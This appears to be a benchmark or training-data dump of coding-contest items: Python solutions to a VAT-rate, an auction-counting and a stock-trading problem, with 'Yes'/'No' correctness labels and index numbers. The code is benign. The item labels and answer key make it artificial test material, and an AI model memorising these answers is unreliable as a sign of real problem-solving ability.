Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Submitted Solution: ``` g = lambda rate, price: price * (100 + rate) // 100 while True: x, y, s = map(int, input().split()) if x == y == s == 0: break maximum = -1 for i in range(1, s): for j in range(1, s): if g(x, i) + g(x, j) == s: maximum = max(maximum, g(y, i) + g(y, j)) print(maximum) ```
instruction
0
53,008
10
106,016
No
output
1
53,008
10
106,017
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,039
10
106,078
"Correct Solution: ``` N = int(input()) A = [int(x) for x in input().split()] min = 1 max = N for i in range(1, N): if A[i] <= A[i - 1]: min += 1 print(min) print(max) ```
output
1
53,039
10
106,079
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,040
10
106,080
"Correct Solution: ``` from itertools import * from bisect import * from math import * from collections import * from heapq import * from random import * import sys sys.setrecursionlimit(10 ** 6) int1 = lambda x: int(x) - 1 p2D = lambda x: print(*x, sep="\n") def II(): return int(sys.stdin.readline()) def MI(): return map(int, sys.stdin.readline().split()) def MI1(): return map(int1, sys.stdin.readline().split()) def MF(): return map(float, sys.stdin.readline().split()) def LI(): return list(map(int, sys.stdin.readline().split())) def LI1(): return list(map(int1, sys.stdin.readline().split())) def LF(): return list(map(float, sys.stdin.readline().split())) def LLI(rows_number): return [LI() for _ in range(rows_number)] dij = [(1, 0), (0, 1), (-1, 0), (0, -1)] def main(): n=II() aa=LI() mn=1 for a0,a1 in zip(aa,aa[1:]): if a0>=a1:mn+=1 print(mn) print(n) main() ```
output
1
53,040
10
106,081
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,041
10
106,082
"Correct Solution: ``` N = int(input()) A = [int(i) for i in input().split()] ret = 0 for i in range(1, N) : if A[i] <= A[i - 1] : ret += 1 print(ret + 1) print(N) ```
output
1
53,041
10
106,083
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,042
10
106,084
"Correct Solution: ``` n = int(input()) a = list(map(int,input().split())) count = 0 for i in range (1,n): if a[i-1] >= a[i]: count += 1 print(count+1) print(n) ```
output
1
53,042
10
106,085
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,043
10
106,086
"Correct Solution: ``` N=int(input()) A=list(map(int,input().split())) a_min=1 for i in range(1,N): if A[i]<=A[i-1]: a_min+=1 print(a_min) print(N) ```
output
1
53,043
10
106,087
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,044
10
106,088
"Correct Solution: ``` def num(): return int(input()) def nums(): return list(map(int,input().split())) """ A,B = nums() P,Q,R = nums() first_distance = P * B pre_runned = (B - A) * Q time = B + (first_distance - pre_runned) / (R + Q) print(time) """ """ N = num() randoms = nums() ans = 0 for i in range(N): today = randoms[i] if i == 0: continue if today > randoms[i-1]: ans += 1 print(ans) """ """ N = num() members = [] for i in range(N): members.append(input()) ans = members.count("E869120") print(ans) """ """ N = num() V = nums() V.sort(reverse=True) ans = 0 for i in range(N): Vi = V[i] ans += (Vi - i -1) print(ans) """ N = num() A = nums() ans_max = N ans_min = 0 old_i = 0 for i in A: if not i > old_i: ans_min += 1 old_i = i ans_min += 1 print(ans_min) print(ans_max) ```
output
1
53,044
10
106,089
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,045
10
106,090
"Correct Solution: ``` n=int(input()) a=list(map(int, input().split())) ans=1 for i in range(n-1): if a[i]>=a[i+1]: ans+=1 print(ans) print(n) ```
output
1
53,045
10
106,091
Provide a correct Python 3 solution for this coding contest problem. Auction square1001 You were watching a certain auction. An auction is a transaction in which when there are a large number of buyers and the number of items is limited, the one with the highest price is given the right to buy. (From the 7th edition of the Shinmei Kokugo Dictionary) The rules of the auction here are as follows. 1. Repeat steps 2 to 6 below until the item is exhausted. 2. Bring out new items and show them to customers 3. One of the customers puts the item at the price they like 4. Price higher than the price currently on the item by one of the customers 5. Repeat step 4 until there are no more customers to perform the action of 4. 6. The customer who puts the highest price on the item wins the bid square1001 You recorded all the prices attached to the items during this auction in chronological order. According to the record, $ N $ items are priced, starting from the beginning with $ A_1, A_2, A_3, \ dots, A_N $. E869120 You are wondering how many items were put up for sale in this auction. square1001 From the list you made, find the minimum and maximum possible number of items for sale in this auction. input Input is given from standard input in the following format. $ N $ $ A_1 $ $ A_2 $ $ A_3 $ $ \ cdots $ $ A_N $ output Please output the minimum and maximum possible number of items listed in this auction in this order, separated by line breaks. However, insert a line break at the end. Constraint * $ 1 \ leq N \ leq 100000 \ (= 10 ^ 5) $ * $ 1 \ leq A_i \ leq 1000000000 \ (= 10 ^ 9) $ * All inputs are integers. Input example 1 Five 8 6 9 1 20 Output example 1 3 Five When three items are sold in order at price 8, price 9, and price 20, the minimum number of items is 3. Input example 2 6 3 3 4 3 3 4 Output example 2 Four 6 Input example 3 8 5 5 4 4 3 3 2 2 Output example 3 8 8 Example Input 5 8 6 9 1 20 Output 3 5
instruction
0
53,046
10
106,092
"Correct Solution: ``` n = int(input()) v = list(map(int,input().split())) cnt = 1 for i in range(n-1): if v[i+1]<=v[i]: cnt+=1 print(cnt) print(n) ```
output
1
53,046
10
106,093
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,969
10
107,938
Tags: greedy, implementation Correct Solution: ``` temp = input().split(" ") n = int(temp[0]) m = int(temp[1]) byr = int(temp[2]) s = input().split(" ") b = input().split(" ") s = [int(item) for item in s] b = [int(item) for item in b] s.sort() b.sort(reverse=True) max_tickets = int(byr/s[0]) byed = [] for tickets in range(max_tickets + 1): byr_now = byr byr_now -= int(s[0]*tickets) byr_now += b[0]*tickets byed.append(byr_now) byed.sort(reverse=True) print(byed[0]) ```
output
1
53,969
10
107,939
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,970
10
107,940
Tags: greedy, implementation Correct Solution: ``` n, m, r = map(int, input().split()) s = [int(i) for i in input().split()] b = [int(i) for i in input().split()] ans = 0 for i in range(n): for j in range(m): ans = max(((r // s[i]) * b[j]) - ((r // s[i]) * s[i]), ans) print(ans + r) ```
output
1
53,970
10
107,941
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,971
10
107,942
Tags: greedy, implementation Correct Solution: ``` a,b,c = [*map(int,(input().split()))] buy=[*map(int,input().split())] sell=[*map(int,input().split())] a=min(buy) b=max(sell) if(b<=a): print(c) else: no_of_shares=c//a remainder=c%a sell_money= b*no_of_shares total_money=sell_money+remainder print(total_money) ```
output
1
53,971
10
107,943
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,972
10
107,944
Tags: greedy, implementation Correct Solution: ``` n, m, r = map(int, input().split()) a = list(map(int, input().split())) b = list(map(int, input().split())) a.sort() b.sort(reverse = True) if a[0] >= b[0]: print(r) exit() q = r // a[0] r -= q * a[0] r += q * b[0] print(r) ```
output
1
53,972
10
107,945
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,973
10
107,946
Tags: greedy, implementation Correct Solution: ``` import math,string,itertools,fractions,heapq,collections,re,array,bisect,sys,copy,functools import random sys.setrecursionlimit(10**7) inf = 10**20 eps = 1.0 / 10**10 mod = 10**9+7 dd = [(-1,0),(0,1),(1,0),(0,-1)] ddn = [(-1,0),(-1,1),(0,1),(1,1),(1,0),(1,-1),(0,-1),(-1,-1)] def LI(): return list(map(int, sys.stdin.readline().split())) def LLI(): return [list(map(int, l.split())) for l in sys.stdin.readlines()] def LI_(): return [int(x)-1 for x in sys.stdin.readline().split()] def LF(): return [float(x) for x in sys.stdin.readline().split()] def LS(): return sys.stdin.readline().split() def I(): return int(sys.stdin.readline()) def F(): return float(sys.stdin.readline()) def S(): return input() def pf(s): return print(s, flush=True) def pe(s): return print(str(s), file=sys.stderr) def main(): n,m,r = LI() a = LI() b = LI() c = min(a) d = max(b) if d > c: t = r // c r -= t * c r += t * d return r print(main()) ```
output
1
53,973
10
107,947
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening. In the second example test, it's optimal not to take any action.
instruction
0
53,974
10
107,948
Tags: greedy, implementation Correct Solution: ``` a,b,c=map(int,input().split()) *a,=map(int,input().split()) *b,=map(int,input().split()) print(max(c,c//min(a)*max(b)+c%min(a))) ```
output
1
53,974
10
107,949
Provide tags and a correct Python 3 solution for this coding contest problem. Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market! In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles. In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have. It's morning now and you possess r bourles and no shares. What is the maximum number of bourles you can hold after the evening? Input The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now. The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles. The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles. Output Output a single integer — the maximum number of bourles you can hold after the evening. Examples Input 3 4 11 4 2 5 4 4 5 4 Output 26 Input 2 2 50 5 7 4 2 Output 50 Note In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in 